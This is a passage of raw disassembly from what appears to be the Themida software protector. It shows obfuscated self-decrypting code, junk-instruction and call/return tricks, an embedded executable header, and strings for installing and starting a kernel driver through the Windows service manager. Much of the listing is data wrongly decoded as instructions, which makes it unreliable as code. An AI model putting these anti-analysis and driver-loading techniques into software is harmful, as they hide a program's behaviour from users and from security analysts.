loc_5A7588: ; CODE XREF: sub_5A736C+229j inc edi loc_5A7589: ; CODE XREF: sub_5A736C:loc_5A7583j cmp byte ptr [edi], 20h jz locret_5A759B cmp byte ptr [edi], 0 jnz loc_5A7588 locret_5A759B: ; CODE XREF: sub_5A736C+220j retn sub_5A736C endp ; =============== S U B R O U T I N E ======================================= sub_5A759C proc near ; CODE XREF: sub_5A736C+6p ; sub_5A736C+2Fp ... pusha mov ecx, 1 mov ebx, esi jmp loc_5A75C2 ; --------------------------------------------------------------------------- loc_5A75A9: ; CODE XREF: sub_5A759C+31j cmp byte ptr [edi], 0 jnz loc_5A75B4 sub ecx, ecx loc_5A75B4: ; CODE XREF: sub_5A759C+10j mov dl, [edi] cmp [esi], dl jz loc_5A75C0 sub ecx, ecx loc_5A75C0: ; CODE XREF: sub_5A759C+1Cj inc esi inc edi loc_5A75C2: ; CODE XREF: sub_5A759C+8j cmp byte ptr [esi], 0 jz loc_5A75D3 or ecx, ecx jnz loc_5A75A9 loc_5A75D3: ; CODE XREF: sub_5A759C+29j or ecx, ecx jz loc_5A75FC cmp byte ptr [edi], 0 jz loc_5A75ED cmp byte ptr [edi], 20h jnz loc_5A75F7 loc_5A75ED: ; CODE XREF: sub_5A759C+42j mov ecx, 1 jmp loc_5A75FC ; --------------------------------------------------------------------------- loc_5A75F7: ; CODE XREF: sub_5A759C+4Bj mov ecx, 0 loc_5A75FC: ; CODE XREF: sub_5A759C+39j ; sub_5A759C+56j or ecx, ecx jz loc_5A7611 sub esi, ebx mov [ebp+614B7C6h], esi jmp loc_5A761B ; --------------------------------------------------------------------------- loc_5A7611: ; CODE XREF: sub_5A759C+62j mov dword ptr [ebp+614B7C6h], 0 loc_5A761B: ; CODE XREF: sub_5A759C+70j popa retn sub_5A759C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A72CB loc_5A761D: ; CODE XREF: sub_5A72CB+34j ; sub_5A72CB+3Ej ... mov eax, 0 or eax, eax jz loc_5A7634 mov dword ptr [ebp+61208B9h], 0 loc_5A7634: ; CODE XREF: sub_5A72CB+359j mov ecx, eax jmp loc_5A7849 ; END OF FUNCTION CHUNK FOR sub_5A72CB ; --------------------------------------------------------------------------- a3cannotWriteOr db '3Cannot write oreans.vxd',0Ah db 0Dh,'Make sure that this file is not being used by another program.',0 dd 67h dup(0) dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0) db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A72CB loc_5A7849: ; CODE XREF: sub_5A72CB+36Bj jmp loc_5A793D ; END OF FUNCTION CHUNK FOR sub_5A72CB ; --------------------------------------------------------------------------- mov byte ptr [ebp+61215C1h], 47h push 0E3E45B86h push dword ptr [ebp+61217F1h] lea eax, [ebp+6123B48h] call eax push 104h lea ebx, [ebp+6120F5Dh] push ebx call eax push eax lea esi, [ebp+614BD59h] mov edi, esi xor al, al loc_5A7881: ; CODE XREF: Themida_:005A7882j scasb jnz loc_5A7881 sub edi, esi mov ecx, edi pop eax mov edi, ebx add edi, eax rep movsb mov byte ptr [ebp+61215C1h], 43h push 0BC8E6EFCh push dword ptr [ebp+61217F1h] lea eax, [ebp+6123B48h] call eax lea esi, [ebp+6120F5Dh] push 0 push 80h push 2 push 0 push 0 push 0C0000000h push esi call eax mov ebx, eax mov byte ptr [ebp+61215C1h], 57h push 0A69BEE56h push dword ptr [ebp+61217F1h] lea eax, [ebp+6123B48h] call eax lea edi, [ebp+6121A6Dh] lea ecx, [ebp+614BE7Fh] push 0 push edi push 37D0h push ecx push ebx call eax test eax, eax jnz loc_5A791F lea esi, [ebp+614BB61h] lea eax, [ebp+614A6D0h] call eax lea ecx, [ebp+6127308h] mov eax, 0 jmp ecx ; --------------------------------------------------------------------------- loc_5A791F: ; CODE XREF: Themida_:005A78FEj mov byte ptr [ebp+61215C1h], 43h push 0C0764AA7h push dword ptr [ebp+61217F1h] lea eax, [ebp+6123B48h] call eax push ebx call eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A72CB loc_5A793D: ; CODE XREF: sub_5A72CB:loc_5A7849j mov ecx, 37D0h call $+5 pop eax add eax, 0Eh mov [eax], ecx jmp loc_5A7954 ; END OF FUNCTION CHUNK FOR sub_5A72CB ; --------------------------------------------------------------------------- mov eax, ebx ; START OF FUNCTION CHUNK FOR sub_5A72CB loc_5A7954: ; CODE XREF: sub_5A72CB+682j jmp loc_5AB129 ; END OF FUNCTION CHUNK FOR sub_5A72CB ; --------------------------------------------------------------------------- db 4Dh, 5Ah, 90h dd 300h, 400h, 0FFFF00h, 0B800h, 0 dd 4000h, 8 dup(0) dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0 dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0 dd offset dword_44A8E0+0A320h dd 0 dd 4000200h, 0 dd 3800000h, 1400h, 4 dup(0) dd 20000h, 1C000h, 9000h, 0 dd 7E00h, 0 dd 0C400h, 100h, 0DC00h, 3 dup(0) dd 12C00h, 13800h, 2 dup(0) dd 14200h, 19600h, 1D200h, 0 dd 1D200h, 0 dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0) dd 27C004h, 0 dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h dd 9000000h, 0A000000h, 0B000000h, 0C000000h, 0D000000h dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h dd 300h, 0 dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h dd 16B0007h, 277101h, 360h dup(0) dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0) dd 72657600h, 5050h, 73763100h, 73763252h, 73763352h, 52h dd 9C3h dup(0) dd 1BE88300h, 7309F883h, 8524FF07h, 0 ; --------------------------------------------------------------------------- clc retn ; --------------------------------------------------------------------------- align 4 dd 8 dup(0) dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h, 7E831AEBh dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h db 46h, 20h, 4 db 0 ; CODE XREF: sub_5A72CB+3E63j dd 0C0330000h, 50580CC3h, 56544F52h, 445F4458h, 4244h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A72CB loc_5AB129: ; CODE XREF: sub_5A72CB:loc_5A7954j call sub_5AB137 db 65h jnz short near ptr byte_5AB113 outsb sar byte ptr [edi+15h], cl fstp9 st(3) ; END OF FUNCTION CHUNK FOR sub_5A72CB ; =============== S U B R O U T I N E ======================================= sub_5AB137 proc near ; CODE XREF: sub_5A72CB:loc_5AB129p pop edx add edx, 6E5Ch mov [ebp+61225E9h], ebx xor ecx, ecx jnz loc_5AB152 mov [ebp+61229ADh], edx loc_5AB152: ; CODE XREF: sub_5AB137+Fj ; sub_5AB137+6Bj mov eax, [edx+ecx] jp loc_5AB15F mov si, 2D10h loc_5AB15F: ; CODE XREF: sub_5AB137+1Ej sub eax, 120ABDB0h mov edi, 18D3D432h add eax, 26132B62h push edx mov si, 4283h pop ebx sub eax, 6DD3CCh mov ebx, [ebp+6122831h] mov [edx+ecx], eax clc mov di, bx sub ecx, 4 jmp loc_5AB19C ; --------------------------------------------------------------------------- db 32h, 35h, 0E0h dd 0C7D0FB17h, 987A8F87h ; --------------------------------------------------------------------------- loc_5AB19C: ; CODE XREF: sub_5AB137+55j cmp ecx, 0FFFF9228h jnz loc_5AB152 push ebx jnp loc_5AB1B5 mov ebx, [ebp+6121E6Dh] loc_5AB1B5: ; CODE XREF: sub_5AB137+72j pop esi jmp loc_5AC272 ; --------------------------------------------------------------------------- db 41h dd 50415644h, 2E323349h, 4C4C44h, 6E65704Fh, 614D4353h dd 6567616Eh, 43004172h, 74616572h, 72655365h, 65636976h dd 74530041h, 53747261h, 69767265h, 416563h, 4E746547h dd 76697461h, 73795365h, 496D6574h, 6F666Eh, 6E65704Fh dd 76726553h, 41656369h, 6C654400h, 53657465h, 69767265h dd 43006563h, 65736F6Ch, 76726553h, 48656369h, 6C646E61h dd 6F430065h, 6F72746Eh, 7265536Ch, 65636976h, 8 dup(0) dd 65726F00h, 33736E61h, 79732E32h, 73h, 0 dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0) aOreans32 db 'oreans32',0 a_Oreans32 db '\\.\oreans32',0 a_GlobalOreans3 db '\\.\Global\oreans32',0 aOreansx64 db 'oreansx64',0 a_GlobalOreansx db '\\.\Global\oreansx64',0 align 4 dd 41h dup(0) dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h dd 736E6165h, 732E3233h, 7379h, 48h dup(0) dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h dd 676F7270h, 2E6D6172h, 59h dup(0) dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0) dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0) dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0) dd 4F5C7325h, 6E616572h, 78762E73h, 64h, 2 dup(0) aXprotevent db 'XprotEvent',0 align 4 dd 0Ah dup(0) dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h dd 6567h, 43000000h, 74616572h, 65764565h, 4120746Eh, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0) dd 10h, 0FF000100h, 17FFEFFh, 1000000h, 4A000000h, 2, 0F000100h dd 40800h, 94h, 5, 1, 0A28h, 2, 76726553h, 20656369h, 6B636150h dd 3220h, 1Dh dup(0) dd 74666F53h, 65726177h, 6E69575Ch db 65h, 0 ; --------------------------------------------------------------------------- loc_5AC272: ; CODE XREF: sub_5AB137+7Fj mov eax, esp mov [ebp+61215BDh], ecx mov [ebp+6122875h], eax mov dl, ah mov eax, eax mov [ebp+612333Dh], esi cmp dword ptr [ebp+6122F01h], 0 jnz short loc_5AC29C cmp dword ptr [ebp+6122149h], 0 jz short loc_5AC2B5 loc_5AC29C: ; CODE XREF: sub_5AB137+115Aj push eax push ebx mov eax, eax mov eax, 43Dh mov [ebp+6120B35h], eax lea ebx, [ebp+614AD09h] call ebx ; _iob pop ebx pop eax loc_5AC2B5: ; CODE XREF: sub_5AB137+1163j cmp dword ptr [ebp+6122149h], 0 jz short loc_5AC2D5 push eax push ebx mov eax, 43Dh mov [ebp+6120B35h], eax lea ebx, [ebp+614A9F8h] call ebx ; _iob pop ebx pop eax loc_5AC2D5: ; CODE XREF: sub_5AB137+1185j jns loc_5AC2E1 mov [ebp+61232F9h], ecx loc_5AC2E1: ; CODE XREF: sub_5AB137:loc_5AC2D5j push 0 push edi call sub_5AC2EC and [edi-3Dh], bl sub_5AB137 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5AC2EC proc near ; CODE XREF: sub_5AB137+11ADp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5AC2EC endp ; --------------------------------------------------------------------------- dd 773B92E3h, 0E8C08BC9h, 0Dh, 0A1C429D2h, 0E11D4C94h dd 0ADFB3214h, 6860F5Eh, 89000000h, 1225B5B5h, 7E95F06h dd 6D000000h, 97537B96h, 0C08B8105h, 9CFB70Fh, 121BC995h dd 1BD8306h, 6122Fh, 0BD830975h, 6122149h, 50137400h, 0B8C08B53h dd 0 ; --------------------------------------------------------------------------- lea ebx, [ebp+614ABABh] call ebx ; _iob pop ebx pop eax cmp dword ptr [ebp+6122149h], 0 jz short loc_5AC378 push eax push ebx mov eax, 0 lea ebx, [ebp+614AA5Ch] call ebx ; _iob pop ebx pop eax loc_5AC378: ; CODE XREF: Themida_:005AC365j push 0 push eax call sub_5AC383 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AC383 proc near ; CODE XREF: Themida_:005AC37Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5AC383 endp ; --------------------------------------------------------------------------- and [ebx], dl mov [ebp+6121A7Dh], edi mov di, dx mov ecx, [ebp+612150Dh] mov eax, eax mov edx, 0AC5D0B6h mov eax, eax mov edi, [ebp+6121619h] cmp dword ptr [ebp+6122F01h], 0 jnz short loc_5AC3C5 cmp dword ptr [ebp+6122149h], 0 jz short loc_5AC3D8 loc_5AC3C5: ; CODE XREF: Themida_:005AC3BAj push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+614AADDh] call ebx ; _iob pop ebx pop eax loc_5AC3D8: ; CODE XREF: Themida_:005AC3C3j cmp dword ptr [ebp+6122149h], 0 jz short loc_5AC3F2 push eax push ebx mov eax, 0 lea ebx, [ebp+614AA2Ah] call ebx ; _iob pop ebx pop eax loc_5AC3F2: ; CODE XREF: Themida_:005AC3DFj sub edx, [ebp+61215A9h] mov edx, [ebp+612032Dh] mov eax, eax xor dh, 47h mov eax, eax mov di, bx cmp dword ptr [ebp+6122F01h], 0 jnz short loc_5AC41A cmp dword ptr [ebp+6122149h], 0 jz short loc_5AC42D loc_5AC41A: ; CODE XREF: Themida_:005AC40Fj push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+614AB44h] call ebx ; _iob pop ebx pop eax loc_5AC42D: ; CODE XREF: Themida_:005AC418j cmp dword ptr [ebp+6122149h], 0 jz short loc_5AC447 push eax push ebx mov eax, 0 lea ebx, [ebp+614AA43h] call ebx ; _iob pop ebx pop eax loc_5AC447: ; CODE XREF: Themida_:005AC434j mov edi, 595965Ch mov [ebp+6122C59h], edi mov eax, eax mov [ebp+6122635h], ecx mov eax, eax mov edi, [ebp+6122D61h] cmp dword ptr [ebp+6122F01h], 0 jnz short loc_5AC474 cmp dword ptr [ebp+6122149h], 0 jz short loc_5AC487 loc_5AC474: ; CODE XREF: Themida_:005AC469j push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+614AA76h] call ebx ; _iob pop ebx pop eax loc_5AC487: ; CODE XREF: Themida_:005AC472j mov [ebp+61229CDh], ecx push 0 push eax call sub_5AC498 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AC498 proc near ; CODE XREF: Themida_:005AC490p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5AC498 endp ; --------------------------------------------------------------------------- xchg eax, ebx sbb eax, [ebp+9] mov ebp, 6122465h mov eax, eax movzx edx, ax mov di, cx mov eax, eax pusha stc jmp loc_5AC4CD ; --------------------------------------------------------------------------- dw 0D678h dd 65A8E040h, 392856D1h db 78h ; --------------------------------------------------------------------------- loc_5AC4CD: ; CODE XREF: Themida_:005AC4BDj popa cmp dword ptr [ebp+6122F01h], 0 jnz short loc_5AC4E0 cmp dword ptr [ebp+6122149h], 0 jz short loc_5AC4F9 loc_5AC4E0: ; CODE XREF: Themida_:005AC4D5j push eax push ebx mov eax, eax mov eax, 7D0h mov [ebp+6120B35h], eax lea ebx, [ebp+614AD09h] call ebx ; _iob pop ebx pop eax loc_5AC4F9: ; CODE XREF: Themida_:005AC4DEj cmp dword ptr [ebp+6122149h], 0 jz short loc_5AC519 push eax push ebx mov eax, 7D0h mov [ebp+6120B35h], eax lea ebx, [ebp+614A9F8h] call ebx ; _iob pop ebx pop eax loc_5AC519: ; CODE XREF: Themida_:005AC500j push 0 push esi call sub_5AC524 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AC524 proc near ; CODE XREF: Themida_:005AC51Cp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5AC524 endp ; --------------------------------------------------------------------------- icebp mov esi, 0F2494C20h aam 0BEh sub [ebp+6121385h], esi mov eax, eax push 0 push ecx call sub_5AC54F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AC54F proc near ; CODE XREF: Themida_:005AC547p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5AC54F endp ; --------------------------------------------------------------------------- db 0CEh dd 81958BF0h, 0C6061223h, 1215C185h, 68F55306h, 99395F90h dd 27D18529h, 0B5FF0612h, 61217F1h, 3B48858Dh, 14E90612h dd 0A5000000h, 41C3D0F7h, 59BC8DBCh, 997174A8h, 784EBC2Ch dd 664AC0FEh, 7D2ED181h, 89F9D0FFh, 12278185h, 7FDA8106h dd 0C64AF650h, 1215C185h, 6A5706h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 78FB3FC3h, 0F1B589E5h dd 89061215h, 121E1DB5h, 52066806h, 830F9004h, 6, 2C518D03h dd 0B5FF0612h, 61217F1h, 3B48858Dh, 0BE80612h, 38000000h dd 0EEF56EEFh, 0F12AA9D1h, 9D89BFA1h, 6121681h, 89D0FF5Ah dd 1230B5B5h, 75858906h, 6A061214h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 1FCAC351h dd 4E51AFB0h, 0C6F5EB7Bh, 1215C185h, 6A4306h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 1F5C18C3h dd 0D5BD09D2h, 68061225h, 0BC907028h, 178D958Bh, 0BF0F0612h dd 0F1B5FFCEh, 81061217h, 8E33BAD9h, 48858D4Dh, 0F06123Bh dd 58Ah, 675B900h, 9D892491h, 6121805h, 0F60D0FFh, 685h dd 870F00h, 29000000h, 1219058Dh, 85896106h, 6122931h dd 2E7D8D8Bh, 0FE8B0612h, 15C185C6h, 524C0612h, 32819D31h dd 68590612h, 0D9DA1CE9h, 17F1B5FFh, 0BF660612h, 858D0BFDh dd 6123B48h, 14A9B529h, 0D0FF0612h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 1EC35747h, 289D8589h, 6A0612h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 34FF54C3h, 0B2C715D7h, 0C6F98B0Ah, 1215C185h, 958B4606h dd 6122A7Dh, 0DE061468h, 0F1B5FFBAh, 8B061217h, 1223D995h dd 48858D06h, 906123Bh, 1213E9B5h, 66D0FF06h, 895204BAh dd 12347185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 137EFBF5h, 680CE233h, 15C185C6h dd 6A470612h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 7A9AC352h, 9E940C5h, 0D5000000h dd 12CFA0h, 5DB22064h, 0FB5E268h, 0EDBD898Ah, 8906122Bh dd 12149D9Dh, 0F1B5FF06h, 0B061217h, 1202FD95h, 48858D06h dd 6006123Bh, 5B7EB351h, 2A358D89h, 0FF610612h, 52006AD0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0A106BB24h, 858975C6h, 6122A6Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0D8C35343h, 0C6F80B57h, 1215C185h dd 850F4706h, 6, 25E9BD89h, 0F3680612h, 8B83D0B5h, 0F1B5FFC8h dd 60061217h, 0AE9h, 0EA26CE00h, 2FE9958Eh, 618F2143h dd 3B48858Dh, 8D0B0612h, 61224C5h, 9589D0FFh, 6122D29h dd 144D8589h, 8D8B0612h, 61202FDh, 15C185C6h, 66770612h dd 68EF9EB9h, 0F397A8A3h, 32659D89h, 0B5FF0612h, 612335Dh dd 0BD01F98Bh, 6122389h, 3B48858Dh, 870F0612h, 6, 0F158D03h dd 958B0612h, 612340Dh, 0DA81D0FFh, 2E0AA33Dh, 13218589h dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0DB5248C3h, 59FA8B56h, 85C6FB8Bh, 61215C1h dd 818D8B47h, 6806121Fh, 8728FAF6h, 0E72785BAh, 87BF6654h dd 0F1B5FF13h, 89061217h, 1211E195h, 48858D06h, 8B06123Bh dd 122E9595h, 80D0FF06h, 858984F5h, 61233ADh, 85C6CE8Bh dd 61215C1h, 418D3143h, 6806120Bh, 0BC8E6EFCh, 137D9529h dd 0B5FF0612h, 61217F1h, 8DC8BF0Fh, 123B4885h, 0BD9D8906h dd 0FF061229h, 12E8D0h, 0FA750000h, 6104DCE5h, 0AA9417F3h dd 0CBE14A8Dh, 78FB3F67h, 2458BA66h, 41858959h, 6A061204h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 9BAC352h, 0BE6F1F0Fh, 0C6F55696h, 1215C185h dd 0C1814506h, 904019Dh, 72696968h, 2185898Eh, 0FF061229h dd 1217F1B5h, 48858D06h, 8906123Bh, 12249595h, 66D0FF06h dd 89F8D38Bh, 122E3D85h, 38D18006h, 0A5BD8960h, 8B061220h dd 12162195h, 85C66106h, 61215C1h, 8BF38A44h, 12079195h dd 0EC646806h, 958BB8F2h, 6120839h, 17F1B5FFh, 1B20612h dd 3B48858Dh, 850F0612h, 6, 26C5958Bh, 0D0FF0612h, 858909B2h dd 612165Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 3CC35040h, 9E51DF6Bh, 0D7F7AD4h, 2830Fh, 2BB50000h dd 15C185C6h, 8A430612h, 398D8BEAh, 68061222h, 0C0764AA7h dd 0B8C5C281h, 0B5FF381Ah, 61217F1h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 0D8C35141h, 8589740Fh, 61231C1h dd 8E9h, 7F00B300h, 78BD0773h, 48858DC7h, 6606123Bh, 0FFF2A7B9h dd 0CD958BD0h, 0F8061207h, 1BB18589h, 89600612h, 12324985h dd 29BD8B06h, 61061217h, 2CFBD80h, 0F000615h, 10684h, 0FB8B6600h dd 2B1858Dh, 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 5E57F5C3h, 0E96D97EBh, 0FFEF0D7h dd 383h, 0F9B70F00h, 171D958Bh, 0F500612h, 981h, 3850F00h dd 66000000h, 8B66FA8Bh, 66016AFBh, 0AC42E181h, 6AF8006Ah dd 15BD8B00h, 0FF061233h, 12293195h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 958B8943h dd 612266Dh, 33218589h, 0BD310612h, 61220D5h, 0E950FF6Ah dd 0Bh, 4EEEE8BBh, 8553517Ah, 5F6A05A6h, 3321B5FFh, 6A0612h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0E8C891C3h, 95FFFE8Bh, 6121475h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 0A0C35545h, 0DE9h, 7663E200h dd 0B158E376h, 7877B49Eh, 8BF800A1h, 57006AC0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 1720AF19h dd 83C09A3Bh, 122F01BDh, 9750006h, 2149BD83h, 74000612h dd 8B535019h, 7D1B8C0h, 85890000h, 6120B35h, 0AD099D8Dh dd 0D3FF0614h, 0BD83585Bh, 6122149h, 50177400h, 7D1B853h dd 85890000h, 6120B35h, 0A9F89D8Dh, 0D3FF0614h, 0BD29585Bh dd 6120B1Dh, 0FC08BF9h, 85C6D6B7h, 61215C1h, 0CFBF0F47h dd 0C8F7C168h, 0EE8A6093h, 0F1B5FF61h, 8D061217h, 123B4885h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 897E062Eh, 122FA5B5h, 66D0FF06h, 50CEA0BFh dd 1FA18D89h, 858D0612h, 61506F2h, 0C7D18B66h, 9400h, 0E98D2900h dd 0B6061226h, 0BF6658C1h, 0B58DBECEh, 61506F2h, 6A56D78Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 0E380C350h, 5AEE8082h, 858DD0FFh, 61506F2h dd 47883FCh, 35850F06h, 89000000h, 1217D5BDh, 8685C706h dd 1061507h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 1A65C355h, 952B909Bh dd 612150Dh, 25B9BD83h, 0F000612h, 2D85h, 86BD8300h, 61507h dd 20850Fh, 8D8B0000h, 6122A55h, 301DBD83h, 0F000612h dd 0D84h, 85C7F800h, 612216Dh, 0 ; --------------------------------------------------------------------------- mov ecx, edx mov bx, ds mov cl, 16h test bl, 4 jz loc_5AD2B3 push 0 push edx call sub_5ACD9F and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ACD9F proc near ; CODE XREF: Themida_:005ACD97p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5ACD9F endp ; --------------------------------------------------------------------------- db 0D3h dd 0E985C7DCh, 6120Eh, 89000000h, 122879B5h, 0DCBD8006h dd 61502h, 2850Fh, 0F88B0000h, 15C185C6h, 81470612h, 46F77DDAh dd 68D18B10h, 0E3E45B86h, 5870Fh, 81660000h, 0FF303ACAh dd 1217F1B5h, 0CEB70F06h, 1D15BD8Bh, 858D0612h, 6123B48h dd 5E57C981h, 8D8B3694h, 61202E1h, 0BF0FD0FFh, 10468CBh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 9D8950C3h, 6122769h, 0F5D9D8Dh, 6A0612h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0FD7A62C3h, 40145F26h, 0D68B123Eh, 0AE860h, 48180000h dd 0BCA309E6h, 6052F717h, 84DB8166h, 0BD31593Bh, 61229CDh dd 850F5361h, 3, 8BD2B70Fh, 121D158Dh, 60D0FF06h, 143D8501h dd 0F610612h, 178Dh, 12E900h, 82AE0000h, 5DBB311Eh, 0DDB787FFh dd 4618F3D4h, 480CC2DFh, 0F5D858Dh, 0BD230612h, 6121F55h dd 8E858D50h, 8B061502h, 122E3195h, 